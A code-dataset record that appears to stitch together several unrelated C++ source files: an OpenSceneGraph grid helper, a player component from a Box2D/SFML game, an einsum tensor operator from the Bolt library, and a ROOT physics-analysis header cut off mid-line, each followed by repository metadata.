geode =new osg::Geode; osg::ref_ptr<osg::Geometry> geom=new osg::Geometry; osg::ref_ptr<osg::Vec3Array> v=new osg::Vec3Array; GLint count=0; for(float i=-100;i<=100;i++) { count+=4; v->push_back(osg::Vec3(-100.f,i,0.f)); v->push_back(osg::Vec3(100.f,i,0.f)); v->push_back(osg::Vec3(i,-100.f,0.f)); v->push_back(osg::Vec3(i,100.f,0.f)); } geom->setVertexArray(v.get()); osg::ref_ptr<osg::Vec4Array> c=new osg::Vec4Array; c->push_back(osg::Vec4(1.0f,1.0f,1.0f,1.f)); geom->setColorArray(c.get()); geom->setColorBinding(osg::Geometry::BIND_OVERALL); geom->addPrimitiveSet(new osg::DrawArrays(osg::PrimitiveSet::LINES,0,count)); geode->addDrawable(geom.get()); geode->getOrCreateStateSet()->setMode(GL_LIGHTING,osg::StateAttribute::OFF); return geode.release(); }
[ "wmn@wmn-Precision-M4600.(none)" ]
wmn@wmn-Precision-M4600.(none)
984339d57832b553e24c4e6e11c578c1f8ab5262
13beba736ae691cc58fbdf07948992b0adb6d51b
/Source/Quarrel/Player.cpp
369aed8c9ac230a9ca39a9521cea76efb9ac2fe6
[ "MIT" ]
permissive
TartanLlama/Quiver
9fcc709de7c69ff5ec97681efd5d228f3ff61548
d91e396001c7dff0e7a52d9aca9148173bb11067
refs/heads/master
2021-05-12T13:34:34.232946
2018-01-10T09:06:15
2018-01-10T09:06:15
116,934,669
0
0
null
2018-01-10T09:07:35
2018-01-10T09:07:34
null
UTF-8
C++
false
false
5,408
cpp
#include "Player.h" #include <fstream> #include <iostream> #include <Box2D/Common/b2Math.h> #include <Box2D/Dynamics/b2Body.h> #include <Box2D/Collision/Shapes/b2CircleShape.h> #include <Box2D/Collision/Shapes/b2PolygonShape.h> #include <ImGui/imgui.h> #include <SFML/Audio.hpp> #include <SFML/Graphics/RectangleShape.hpp> #include <SFML/Graphics/RenderTarget.hpp> #include <SFML/Graphics/Sprite.hpp> #include <SFML/Graphics/Texture.hpp> #include <spdlog/spdlog.h> #include "Quiver/Audio/Listener.h" #include "Quiver/Animation/Animators.h" #include "Quiver/Animation/AnimationData.h" #include "Quiver/Entity/Entity.h" #include "Quiver/Entity/RenderComponent/RenderComponent.h" #include "Quiver/Entity/PhysicsComponent/PhysicsComponent.h" #include "Quiver/Input/BinaryInput.h" #include "Quiver/Input/Mouse.h" #include "Quiver/Input/Keyboard.h" #include "Quiver/Input/RawInput.h" #include "Quiver/Misc/JsonHelpers.h" #include "Quiver/World/World.h" #include "PlayerInput.h" using namespace qvr; namespace xb = qvr::Xbox360Controller; Player::Player(Entity& entity) : CustomComponent(entity) , mCurrentWeapon(new Crossbow(*this)) { GetEntity().GetWorld().RegisterCamera(mCamera); mCamera.SetPosition(GetEntity().GetPhysics()->GetPosition()); mCamera.SetOverlayDrawer([this](sf::RenderTarget& target) { this->RenderCurrentWeapon(target); }); } Player::~Player() { GetEntity().GetWorld().UnregisterCamera(mCamera); } class DeadPlayer : public CustomComponent { public: DeadPlayer(Entity& entity, Player& player) : CustomComponent(entity) , mCamera(player.mCamera) { entity.GetWorld().RegisterCamera(mCamera); if (entity.GetWorld().GetMainCamera() == &player.mCamera) { entity.GetWorld().SetMainCamera(mCamera); } mCamera.SetHeight(0.0f); } std::string GetTypeName() const override { return "DeadPlayer"; } void OnStep(float timestep) override { b2Body& body = GetEntity().GetPhysics()->GetBody(); mCamera.SetPosition(body.GetPosition()); mCamera.SetRotation(body.GetAngle()); qvr::UpdateListener(mCamera); } private: Camera3D mCamera; }; void Player::HandleInput(qvr::RawInputDevices& devices, const float deltaSeconds) { using namespace Quarrel; b2Body& body = GetEntity().GetPhysics()->GetBody(); // Move. { const b2Vec2 dir = GetDirectionVector(devices); // Don't override the body's velocity if the player isn't providing any input. if (dir.LengthSquared() != 0.0f) { b2Rot bodyRot(body.GetAngle()); // Rotate the direction vector into the body's frame. b2Vec2 forceDir = b2Mul(bodyRot, dir); body.SetLinearVelocity(mMoveSpeed * forceDir); } } // Turn. { float rotateAngle = GetTurnAngle(devices); if (rotateAngle != 0.0f) { const float rotateSpeed = 3.14f; // radians per second const float rotation = rotateAngle * rotateSpeed * deltaSeconds; body.SetTransform(body.GetPosition(), body.GetAngle() + rotation); } } if (devices.GetKeyboard().JustDown(qvr::KeyboardKey::Tab)) { if (mCurrentWeapon) { mCurrentWeapon.release(); } else { mCurrentWeapon = std::make_unique<Crossbow>(*this); } } if (mCurrentWeapon != nullptr) { mCurrentWeapon->OnStep(devices, deltaSeconds); } } void Player::OnStep(float deltaSeconds) { auto log = spdlog::get("console"); assert(log); const char* logCtx = "Player::OnStep:"; if (mDamage >= 100.0f) { log->debug("{} Oh no! I've taken too much damage!", logCtx); GetEntity().AddCustomComponent(std::make_unique<DeadPlayer>(GetEntity(), *this)); // Super important to return here! return; } b2Body& body = GetEntity().GetPhysics()->GetBody(); mCamera.SetPosition(body.GetPosition()); mCamera.SetRotation(body.GetAngle()); qvr::UpdateListener(mCamera); } void Player::OnBeginContact(Entity& other) { if (other.GetCustomComponent()) { auto log = spdlog::get("console"); assert(log); const char* logCtx = "Player::OnBeginContact"; log->debug("{} Player beginning contact with {}...", logCtx, other.GetCustomComponent()->GetTypeName()); if (other.GetCustomComponent()->GetTypeName() == "EnemyProjectile") { log->debug("{} Player taking damage", logCtx); mDamage += 100.0f; } } } void Player::OnEndContact(Entity& other) { auto log = spdlog::get("console"); assert(log); if (other.GetCustomComponent()) { log->debug("Player finishing contact with {}...", other.GetCustomComponent()->GetTypeName()); } } class PlayerEditor : public CustomComponentEditorType<Player> { public: PlayerEditor(Player& player) : CustomComponentEditorType(player) {} void GuiControls() override { ImGui::SliderFloat("Move Speed", &Target().mMoveSpeed, 0.0f, 20.0f); } }; std::unique_ptr<CustomComponentEditor> Player::CreateEditor() { return std::make_unique<PlayerEditor>(*this); } nlohmann::json Player::ToJson() const { nlohmann::json j; j["MoveSpeed"] = mMoveSpeed; { nlohmann::json cameraJson; if (mCamera.ToJson(cameraJson, &GetEntity().GetWorld())) { j["Camera"] = cameraJson; } } return j; } bool Player::FromJson(const nlohmann::json& j) { if (j.find("MoveSpeed") != j.end()) { mMoveSpeed = j["MoveSpeed"]; } if (j.find("Camera") != j.end()) { mCamera.FromJson(j["Camera"], &GetEntity().GetWorld()); } return true; } void Player::RenderCurrentWeapon(sf::RenderTarget& target) const { if (mCurrentWeapon) { mCurrentWeapon->Render(target); } }
[ "nershly@gmail.com" ]
nershly@gmail.com
40e8cb07f474f1c3de137fb750a5c52515bf2a66
1901bdbaf57584e7c5ec21643db340f9d98d6807
/compute/tensor/src/einsum.cpp
6aa179e2ccfabcda16c2047946ae0adbede8f1d0
[ "MIT" ]
permissive
huawei-noah/bolt
2a4febe5f5cce64e3589c2782c489d59975eb6a3
cf4ca8f8646a8e30ddf91c29a18743d75ac1c172
refs/heads/master
2023-08-28T13:36:34.815244
2023-06-12T01:24:41
2023-06-12T01:24:41
225,365,905
889
168
MIT
2023-06-12T01:24:42
2019-12-02T12:06:12
C++
UTF-8
C++
false
false
10,548
cpp
// Copyright (C) 2019. Huawei Technologies Co., Ltd. All rights reserved. // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #include <unordered_map> #include "blas_enhance.h" #include "tensor_computing.h" #ifdef _USE_CPU #include "cpu/tensor_computing_cpu.h" #endif #ifdef _USE_MALI #include "gpu/mali/tensor_computing_mali.h" #endif inline U32 reduceDims(U32 *dims, U32 s, U32 e) { U32 res = 1; for (U32 i = s; i < e; ++i) { res *= dims[i]; } return res; } EE einsum(std::vector<Tensor> inTensors, EinsumParamSpec p, Tensor outputTensor, Tensor tmpTensor, ArchInfo_t archInfo) { if (p.num_equation_o == 0 || inTensors.size() < 2) { CHECK_STATUS(NOT_SUPPORTED); } TensorDesc lDesc = inTensors[0].get_desc(); F32 *lop = (F32 *)get_ptr_from_tensor(inTensors[0], archInfo->arch); TensorDesc rDesc = inTensors[1].get_desc(); F32 *rop = (F32 *)get_ptr_from_tensor(inTensors[1], archInfo->arch); TensorDesc oDesc = outputTensor.get_desc(); F32 *output = (F32 *)get_ptr_from_tensor(outputTensor, archInfo->arch); U32 tmpBytes = tmpTensor.bytes(); void *tmp = get_ptr_from_tensor(tmpTensor, archInfo->arch); std::unordered_map<char, U32> outputChMap; std::unordered_map<char, U32> lMap; for (int i = 0; i < p.num_equation_o; ++i) { outputChMap[p.equation_o[i]] = i; } bool needTranspose = false; U32 lreduceDim = 0; U32 lidx = 0; U32 lastIdx = 0; for (int j = 0; j < p.num_equation_l; ++j) { if (!outputChMap.count(p.equation_l[j])) { lidx = j; lreduceDim = lDesc.dims[lidx]; } else { if (outputChMap[p.equation_l[j]] < lastIdx) { needTranspose = true; } lMap[p.equation_l[j]] = j; lastIdx = outputChMap[p.equation_l[j]]; } } U32 rreduceDim = 0; U32 ridx = 0; lastIdx = 0; int alignDim = -1; int lalignDim = -1; int ralignDim = -1; for (int j = 0; j < p.num_equation_r; ++j) { if (!outputChMap.count(p.equation_r[j])) { ridx = j; rreduceDim = rDesc.dims[ridx]; } else { if (outputChMap[p.equation_r[j]] < lastIdx) { needTranspose = true; } lastIdx = outputChMap[p.equation_r[j]]; if ((lMap.count(p.equation_r[j])) && (alignDim == -1)) { alignDim = outputChMap[p.equation_r[j]]; lalignDim = lMap[p.equation_r[j]]; ralignDim = j; } } } if (lreduceDim != rreduceDim) { UNI_ERROR_LOG("Einsum currently not support (%s,%s->%s).\n", p.equation_l, p.equation_r, p.equation_o); return NOT_SUPPORTED; } if (int(ridx) > ralignDim || int(lidx) > lalignDim) { needTranspose = true; } if (needTranspose) { U32 ldims[8]; U32 rdims[8]; for (U32 i = 0; i < tensorNumElements(oDesc); ++i) { std::vector<U32> idx = calculateLocalIndex(i, oDesc.dims, oDesc.nDims); for (int j = 0; j < p.num_equation_l; ++j) { if (outputChMap.count(p.equation_l[j])) { ldims[j] = idx[outputChMap[p.equation_l[j]]]; } } for (int j = 0; j < p.num_equation_r; ++j) { if (outputChMap.count(p.equation_r[j])) { rdims[j] = idx[outputChMap[p.equation_r[j]]]; } } F32 res = 0; for (U32 al = 0; al < lreduceDim; ++al) { ldims[lidx] = al; rdims[ridx] = al; U32 lopIdx = calculateGlobalIndex(ldims, lDesc.dims, lDesc.nDims); U32 ropIdx = calculateGlobalIndex(rdims, rDesc.dims, rDesc.nDims); res += lop[lopIdx] * rop[ropIdx]; } output[i] = res; } } else { TensorDesc mmmrDesc; U32 M, N; U32 K = rDesc.dims[ridx]; if (ridx != 0) { ralignDim = ridx + 1; alignDim = UNI_MIN(alignDim, int(outputChMap[p.equation_r[ralignDim]])); N = reduceDims(rDesc.dims, 0, ridx); mmmrDesc = tensor2df(rDesc.dt, DF_NORMAL, K, N); } else { N = reduceDims(rDesc.dims, 1, ralignDim); mmmrDesc = tensor2df(rDesc.dt, DF_TRANSPOSE, N, K); } TensorDesc mmmlDesc; if (lidx != 0) { lalignDim = lidx + 1; alignDim = UNI_MIN(alignDim, int(outputChMap[p.equation_l[lalignDim]])); M = reduceDims(lDesc.dims, 0, lidx); mmmlDesc = tensor2df(lDesc.dt, DF_TRANSPOSE, K, M); } else { M = reduceDims(lDesc.dims, 1, lalignDim); mmmlDesc = tensor2df(lDesc.dt, DF_NORMAL, M, K); } TensorDesc mmmODesc = tensor2df(oDesc.dt, DF_NORMAL, M, N); U32 outputTilesNum = reduceDims(oDesc.dims, alignDim, oDesc.nDims); U32 outputTile = reduceDims(oDesc.dims, 0, alignDim); U32 lTilesNum = reduceDims(lDesc.dims, lalignDim, lDesc.nDims); U32 lTile = reduceDims(lDesc.dims, 0, lalignDim); U32 rTilesNum = reduceDims(rDesc.dims, ralignDim, rDesc.nDims); U32 rTile = reduceDims(rDesc.dims, 0, ralignDim); UNI_MEMSET(output, 0, tensorNumBytes(oDesc)); if (lTilesNum == rTilesNum) { for (U32 i = 0; i < outputTilesNum; ++i) { F32 *curOutput = output + i * outputTile; F32 *curLop = lop + (i % lTilesNum) * lTile; // special case F32 *curRop = rop + (i % rTilesNum) * rTile; // special case CHECK_STATUS(matrix_matrix_multiply(mmmlDesc, curLop, mmmrDesc, curRop, tmpBytes, tmp, mmmODesc, curOutput, nullptr, archInfo->arch)); } } else { U32 ldims[8]; U32 rdims[8]; U32 odims[8]; std::unordered_map<char, U32> laMap, raMap; for (int i = 0; i < p.num_equation_l; ++i) { laMap[p.equation_l[i]] = i; } for (int i = 0; i < p.num_equation_r; ++i) { raMap[p.equation_r[i]] = i; } U32 alignLen = oDesc.nDims - alignDim; for (U32 i = 0; i < alignLen; ++i) { odims[i] = oDesc.dims[i + alignDim]; if (laMap.count(p.equation_o[i])) { ldims[i] = oDesc.dims[i]; } else { ldims[i] = 1; } if (raMap.count(p.equation_o[i])) { rdims[i] = oDesc.dims[i]; } else { rdims[i] = 1; } } for (U32 i = 0; i < outputTilesNum; ++i) { F32 *curOutput = output + i * outputTile; U32 lidx = 0; U32 ridx = 0; U32 oidx = i; U32 ldim = 1; U32 rdim = 1; for (U32 j = 0; j < alignLen; ++j) { U32 dimIdx = oidx % odims[j]; oidx /= odims[j]; lidx += dimIdx % ldims[j] * ldim; ridx += dimIdx % rdims[j] * rdim; ldim *= ldims[j]; rdim *= rdims[j]; } F32 *curLop = lop + lidx * lTile; F32 *curRop = rop + ridx * rTile; matrix_matrix_multiply(mmmlDesc, curLop, mmmrDesc, curRop, tmpBytes, tmp, mmmODesc, curOutput, nullptr, archInfo->arch); } } } return SUCCESS; } EE einsum_infer_output_size( std::vector<Tensor *> inTensors, EinsumParamSpec p, Tensor *outputTensor, ArchInfo_t archInfo) { if (outputTensor == nullptr) { CHECK_STATUS(NULL_POINTER); } if (p.num_equation_o == 0 && p.num_equation_l == 1 && p.num_equation_r == 0) { outputTensor->resize(inTensors[0]->get_desc()); return SUCCESS; } std::unordered_map<char, int> l_map, r_map; TensorDesc lDesc = inTensors[0]->get_desc(); TensorDesc oDesc = lDesc; oDesc.nDims = p.num_equation_o; for (int j = 0; j < p.num_equation_l; ++j) { l_map[p.equation_l[j]] = lDesc.dims[j]; } if (inTensors.size() > 1) { TensorDesc rDesc = inTensors[1]->get_desc(); for (int j = 0; j < p.num_equation_r; ++j) { r_map[p.equation_r[j]] = rDesc.dims[j]; } } for (int i = 0; i < p.num_equation_o; ++i) { oDesc.dims[i] = l_map.count(p.equation_o[i]) ? l_map[p.equation_o[i]] : r_map[p.equation_o[i]]; } if (oDesc.nDims > 3) { oDesc.df = DF_NCHW; } else if (oDesc.nDims == 3) { oDesc.df = DF_MTK; } else { oDesc.df = DF_NORMAL; } outputTensor->resize(oDesc); return SUCCESS; } EE einsum_infer_forward_tmp_bytes( std::vector<Tensor> inTensors, Tensor outputTensor, U32 *bytes, ArchInfo_t archInfo) { TensorDesc lDesc = inTensors[0].get_desc(); TensorDesc rDesc = inTensors[1].get_desc(); *bytes = tensorNumBytes(lDesc) + tensorNumBytes(lDesc); return SUCCESS; }
[ "jianfeifeng@outlook.com" ]
jianfeifeng@outlook.com
6e0cc432a09cebe0eecdd0d15d08a3e8fa6cb65e
61cff1bf6ddfec687dc94958d729d49f82564419
/CombineDraw/ScalSeq/EDBRHistoMaker.h
2c8aa73bc3851534c2d4d043523bdb180ff1a239
[]
no_license
qliphy/PKU-Cluster
64866c5c434994c499dabe55f3304022813e1c95
bf3907ab84140f1f5991daad4bc2349fbf850d27
refs/heads/master
2020-12-19T13:06:13.815776
2020-01-14T22:16:03
2020-01-14T22:16:03
null
0
0
null
null
null
null
UTF-8
C++
false
false
37,715
h
#include "TGraphAsymmErrors.h" #include <map> #include <vector> #include <string> #include <iostream> #include "TH1D.h" #include "TH2D.h" #include "TFile.h" #include "TROOT.h" #include "TTree.h" #include "TChain.h" #include "math.h" #include "TLorentzVector.h" #include "RoccoR.C" //#include "get_rochester_scale.C" #define Pi 3.1415926 using namespace std; /// The large arrays that were here are now GONE. /// Instead, we have this helper that holds the /// information of all our histograms. class HistoFactory { public: std::vector<std::string> vars; std::vector<int> nBins; std::vector<double> minBin; std::vector<double> maxBin; void setHisto(std::string s, int n, double min, double max) { vars.push_back(s); nBins.push_back(n); minBin.push_back(min); maxBin.push_back(max); } }; class EDBRHistoMaker { public: EDBRHistoMaker(TTree *tree = 0, TFile *fileTMP = 0, TH1F* hR1 = 0, std::string out_name_="", RoccoR* rc_in=0); virtual ~EDBRHistoMaker(); /// This is the tree structure. This comes directly from MakeClass TTree* fChain; //!pointer to the analyzed TTree or TChain TFile* fileTMP_; TH1F* hR1_; Int_t fCurrent; //!current Tree number in a TChain bool setUnitaryWeights_; // Declaration of leaf types Double_t scalef; Double_t pweight[703]; Int_t nVtx; Double_t theWeight; Double_t lumiWeight; Double_t pileupWeight; Int_t HLT_Ele1; Int_t HLT_Ele2; Int_t HLT_Ele3; Int_t HLT_Ele4; Int_t HLT_Ele5; Int_t HLT_Ele6; Int_t HLT_Ele7; Int_t HLT_Mu2; Int_t HLT_Mu5; Int_t HLT_Mu6; Int_t HLT_Mu7; Int_t HLT_Mu8; Int_t HLT_Mu9; Int_t HLT_Mu10; Int_t HLT_Mu11; Double_t nump; Double_t numm; Double_t npT; Int_t lep; Int_t run_period; Double_t ptVlep;//need to be modified for rochester Double_t yVlep;//need to be modified for rochester Double_t phiVlep;//need to be modified for rochester Double_t massVlep;//need to be modified for rochester Double_t ptlep1; Double_t etalep1; Double_t philep1; Double_t ptlep2; Double_t etalep2; Double_t philep2; Double_t drla; Double_t drla2; Double_t drj1a; Double_t drj2a; Double_t drj1l; Double_t drj1l2; Double_t drj2l; Double_t drj2l2; Int_t nlooseeles; Int_t nloosemus; Double_t MET_et; Double_t photonet; Double_t photoneta; Double_t photonphi; Double_t photone; Double_t photonsieie; Double_t photonphoiso; Double_t photonchiso; Double_t photonnhiso; Int_t isprompt; Double_t jet1pt; Double_t jet1eta; Double_t jet1e; Double_t jet2e; Double_t jet2pt; Double_t jet2eta; Double_t jet1phi; Double_t jet2phi; Double_t Mjj; Double_t zepp;//need to be modified for rochester Double_t deltaetajj; Double_t actualWeight; Double_t detajj; Double_t ZGmass;//need to be modified for rochester Double_t delta_phi;//need to be modified for rochester Double_t drjj; Double_t l1_weight; Double_t ele1_id_scale; Double_t ele2_id_scale; Double_t ele1_reco_scale; Double_t ele2_reco_scale; Double_t photon_id_scale; // for rochester correction Int_t lep1_sign; Int_t lep2_sign; Int_t muon1_trackerLayers; Int_t muon2_trackerLayers; Double_t matchedgenMu1_pt; Double_t matchedgenMu2_pt; Double_t muon1_rochester; Double_t muon2_rochester; Double_t muon1_id_scale; Double_t muon2_id_scale; Double_t muon1_iso_scale; Double_t muon2_iso_scale; Double_t muon1_track_scale; Double_t muon2_track_scale; Double_t muon_hlt_scale; Double_t ele_hlt_scale; Double_t drll; // List of branches TBranch *b_ele1_id_scale; //! TBranch *b_ele2_id_scale; //! TBranch *b_ele1_reco_scale; //! TBranch *b_ele2_reco_scale; //! TBranch *b_photon_id_scale; //! TBranch *b_lep1_sign; //! TBranch *b_lep2_sign; //! TBranch *b_muon1_trackerLayers; //! TBranch *b_muon2_trackerLayers; //! TBranch *b_matchedgenMu1_pt; //! TBranch *b_matchedgenMu2_pt; //! TBranch *b_muon1_id_scale; //! TBranch *b_muon2_id_scale; //! TBranch *b_muon1_iso_scale; //! TBranch *b_muon2_iso_scale; //! TBranch *b_muon1_track_scale; //! TBranch *b_muon2_track_scale; //! TBranch *b_muon_hlt_scale; //! TBranch *b_scalef; //! TBranch *b_actualWeight; //! TBranch *b_pweight; //! TBranch *b_nVtx; //! TBranch *b_theWeight; //! TBranch *b_lumiWeight; //! TBranch *b_pileupWeight; //! TBranch *b_HLT_Ele1; //! TBranch *b_HLT_Ele2; //! TBranch *b_HLT_Ele3; //! TBranch *b_HLT_Ele4; //! TBranch *b_HLT_Ele5; //! TBranch *b_HLT_Ele6; //! TBranch *b_HLT_Ele7; //! TBranch *b_HLT_Mu2; //! TBranch *b_HLT_Mu5; //! TBranch *b_HLT_Mu6; //! TBranch *b_HLT_Mu7; //! TBranch *b_HLT_Mu8; //! TBranch *b_HLT_Mu9; //! TBranch *b_HLT_Mu10; //! TBranch *b_HLT_Mu11; //! TBranch *b_nump; //! TBranch *b_numm; //! TBranch *b_npT; //! TBranch *b_lep; //! TBranch *b_run_period; TBranch *b_ptVlep; //! TBranch *b_yVlep; //! TBranch *b_phiVlep; //! TBranch *b_massVlep; //! TBranch *b_ptlep1; //! TBranch *b_etalep1; //! TBranch *b_philep1; //! TBranch *b_ptlep2; //! TBranch *b_etalep2; //! TBranch *b_philep2; //! TBranch *b_drla; TBranch *b_drla2; TBranch *b_drj1a; TBranch *b_drj2a; TBranch *b_drj1l; TBranch *b_drj1l2; TBranch *b_drj2l; TBranch *b_drj2l2; TBranch *b_nlooseeles; //! TBranch *b_nloosemus; //! TBranch *b_MET_et; //! TBranch *b_photonet; //! TBranch *b_photoneta; //! TBranch *b_photonphi; TBranch *b_photone; TBranch *b_photonsieie; //! TBranch *b_photonphoiso; //! TBranch *b_photonchiso; //! TBranch *b_photonnhiso; //! TBranch *b_isprompt; //! TBranch *b_jet1pt; //! TBranch *b_jet1eta; //! TBranch *b_jet2pt; //! TBranch *b_jet2eta; //! TBranch *b_jet1phi; TBranch *b_jet2phi; TBranch *b_jet1e; TBranch *b_jet2e; TBranch *b_Mjj; //! TBranch *b_zepp; TBranch *b_deltaetajj; TBranch *b_l1_weight; // Basic functions directly from MakeClass Int_t GetEntry(Long64_t entry); Long64_t LoadTree(Long64_t entry); void Init(TTree *tree); void Loop(std::string outFileName); void Loop_SFs_mc(std::string outFileName); // Our added functions void createAllHistos(); void printAllHistos(); void saveAllHistos(std::string outFileName); void setUnitaryWeights(bool setuniw = false) { setUnitaryWeights_ = setuniw; } int check(double pt, std::vector<double> * ptZ) { int goodw = 1; for (unsigned int i = 0; i < ptZ->size(); i++) { if (pt == ptZ->at(i)) { goodw = 0; break; } } return goodw; } // Our added variables int nVars; bool debug_; ///meng TTree *treename; TFile *fout; std::string out_name; void endjob(){ fout->cd(); treename->Write(); fout->Write(); fout->Close(); delete fout; } ///lu // fro rochester correction RoccoR rc; double get_rochester_scale(bool isdata, double charge_temp, double pt, double eta, double phi, int nl, double genPt, double r1, double r2); // The histograms HistoFactory hs; std::map<std::string, TH1D*> theHistograms; TH2D *hmjmzz; TH1D *hmzzNEW; }; void EDBRHistoMaker::Init(TTree *tree) { // The Init() function is called when the selector needs to initialize // a new tree or chain. Typically here the branch addresses and branch // pointers of the tree will be set. // It is normally not necessary to make changes to the generated // code, but the routine can be extended by the user if needed. // Init() will be called many times when running on PROOF // (once per file to be processed). // Set branch addresses and branch pointers if (!tree) return; fChain = tree; fCurrent = -1; fChain->SetMakeClass(1); fout = new TFile(out_name.c_str(), "RECREATE"); treename = new TTree("outtree","outtree"); cout<<"begin make outfile tree"<<endl; treename->Branch("scalef", &scalef, "scalef/D"); treename->Branch("actualWeight", &actualWeight, "actualWeight/D"); treename->Branch("pweight", &pweight, "pweight[703]/D"); treename->Branch("nVtx", &nVtx, "nVtx/I"); treename->Branch("theWeight", &theWeight, "theWeight/D"); treename->Branch("lumiWeight", &lumiWeight, "lumiWeight/D"); treename->Branch("pileupWeight", &pileupWeight, "pileupWeight/D"); treename->Branch("HLT_Ele1", &HLT_Ele1, "HLT_Ele1/I"); treename->Branch("HLT_Ele2", &HLT_Ele2, "HLT_Ele2/I"); treename->Branch("HLT_Ele3", &HLT_Ele3, "HLT_Ele3/I"); treename->Branch("HLT_Ele4", &HLT_Ele4, "HLT_Ele4/I"); treename->Branch("HLT_Ele5", &HLT_Ele5, "HLT_Ele5/I"); treename->Branch("HLT_Ele6", &HLT_Ele6, "HLT_Ele6/I"); treename->Branch("HLT_Ele7", &HLT_Ele7, "HLT_Ele7/I"); treename->Branch("HLT_Mu2", &HLT_Mu2, "HLT_Mu2/I"); treename->Branch("HLT_Mu5", &HLT_Mu5, "HLT_Mu5/I"); treename->Branch("HLT_Mu6", &HLT_Mu6, "HLT_Mu6/I"); treename->Branch("HLT_Mu7", &HLT_Mu7, "HLT_Mu7/I"); treename->Branch("HLT_Mu8", &HLT_Mu8, "HLT_Mu8/I"); treename->Branch("HLT_Mu9", &HLT_Mu9, "HLT_Mu9/I"); treename->Branch("HLT_Mu10", &HLT_Mu10, "HLT_Mu10/I"); treename->Branch("HLT_Mu11", &HLT_Mu11, "HLT_Mu11/I"); treename->Branch("nump", &nump, "nump/D"); treename->Branch("numm", &numm, "numm/D"); treename->Branch("npT", &npT, "npT/D"); treename->Branch("lep", &lep, "lep/I"); treename->Branch("run_period", &run_period, "run_period/I"); treename->Branch("ptVlep", &ptVlep, "ptVlep/D"); treename->Branch("yVlep", &yVlep, "yVlep/D"); treename->Branch("phiVlep", &phiVlep, "phiVlep/D"); treename->Branch("massVlep", &massVlep, "massVlep/D"); treename->Branch("ptlep1", &ptlep1, "ptlep1/D"); treename->Branch("etalep1", &etalep1, "etalep1/D"); treename->Branch("philep1", &philep1, "philep1/D"); treename->Branch("ptlep2", &ptlep2, "ptlep2/D"); treename->Branch("etalep2", &etalep2, "etalep2/D"); treename->Branch("philep2", &philep2, "philep2/D"); treename->Branch("drla", &drla, "drla/D"); treename->Branch("drla2", &drla2, "drla2/D"); treename->Branch("drj1a", &drj1a, "drj1a/D"); treename->Branch("drj2a", &drj2a, "drj2a/D"); treename->Branch("drj1l", &drj1l, "drj1l/D"); treename->Branch("drj2l", &drj2l, "drj2l/D"); treename->Branch("drj1l2", &drj1l2, "drj1l2/D"); treename->Branch("drj2l2", &drj2l2, "drj2l2/D"); treename->Branch("nlooseeles", &nlooseeles, "nlooseeles/I"); treename->Branch("nloosemus", &nloosemus, "nloosemus/I"); treename->Branch("MET_et", &MET_et, "MET_et/D"); treename->Branch("photonet", &photonet, "photonet/D"); treename->Branch("photoneta", &photoneta, "photoneta/D"); treename->Branch("photonphi", &photonphi, "photonphi/D"); treename->Branch("photone", &photone, "photone/D"); treename->Branch("photonsieie", &photonsieie, "photonsieie/D"); treename->Branch("photonphoiso", &photonphoiso, "photonphoiso/D"); treename->Branch("photonchiso", &photonchiso, "photonchiso/D"); treename->Branch("photonnhiso", &photonnhiso, "photonnhiso/D"); treename->Branch("isprompt", &isprompt, "isprompt/I"); treename->Branch("jet1pt", &jet1pt, "jet1pt/D"); treename->Branch("jet1eta", &jet1eta, "jet1eta/D"); treename->Branch("jet1phi", &jet1phi, "jet1phi/D"); treename->Branch("jet1e", &jet1e, "jet1e/D"); treename->Branch("jet2pt", &jet2pt, "jet2pt/D"); treename->Branch("jet2eta", &jet2eta, "jet2eta/D"); treename->Branch("jet2phi", &jet2phi, "jet2phi/D"); treename->Branch("jet2e", &jet2e, "jet2e/D"); treename->Branch("Mjj", &Mjj, "Mjj/D"); treename->Branch("zepp", &zepp, "zepp/D"); treename->Branch("deltaetajj", &deltaetajj, "deltaetajj/D"); treename->Branch("delta_phi", &delta_phi, "delta_phi/D"); treename->Branch("detajj", &detajj, "detajj/D"); treename->Branch("drjj", &drjj, "drjj/D"); treename->Branch("l1_weight", &l1_weight, "l1_weight/D"); treename->Branch("ele1_id_scale", &ele1_id_scale, "ele1_id_scale/D"); treename->Branch("ele2_id_scale", &ele2_id_scale, "ele2_id_scale/D"); treename->Branch("ele1_reco_scale", &ele1_reco_scale, "ele1_reco_scale/D"); treename->Branch("ele2_reco_scale", &ele2_reco_scale, "ele2_reco_scale/D"); treename->Branch("photon_id_scale", &photon_id_scale, "photon_id_scale/D"); treename->Branch("lep1_sign", &lep1_sign, "lep1_sign/I"); treename->Branch("lep2_sign", &lep2_sign, "lep2_sign/I"); treename->Branch("muon1_trackerLayers", &muon1_trackerLayers, "muon1_trackerLayers/I"); treename->Branch("muon2_trackerLayers", &muon2_trackerLayers, "muon2_trackerLayers/I"); treename->Branch("matchedgenMu1_pt", &matchedgenMu1_pt, "matchedgenMu1_pt/D"); treename->Branch("matchedgenMu2_pt", &matchedgenMu2_pt, "matchedgenMu2_pt/D"); treename->Branch("muon1_id_scale", &muon1_id_scale, "muon1_id_scale/D"); treename->Branch("muon2_id_scale", &muon2_id_scale, "muon2_id_scale/D"); treename->Branch("muon1_iso_scale", &muon1_iso_scale, "muon1_iso_scale/D"); treename->Branch("muon2_iso_scale", &muon2_iso_scale, "muon2_iso_scale/D"); treename->Branch("muon1_track_scale", &muon1_track_scale, "muon1_track_scale/D"); treename->Branch("muon2_track_scale", &muon2_track_scale, "muon2_track_scale/D"); treename->Branch("muon_hlt_scale", &muon_hlt_scale, "muon_hlt_scale/D"); treename->Branch("ele_hlt_scale", &ele_hlt_scale, "ele_hlt_scale/D"); treename->Branch("muon1_rochester", &muon1_rochester, "muon1_rochester/D"); treename->Branch("muon2_rochester", &muon2_rochester, 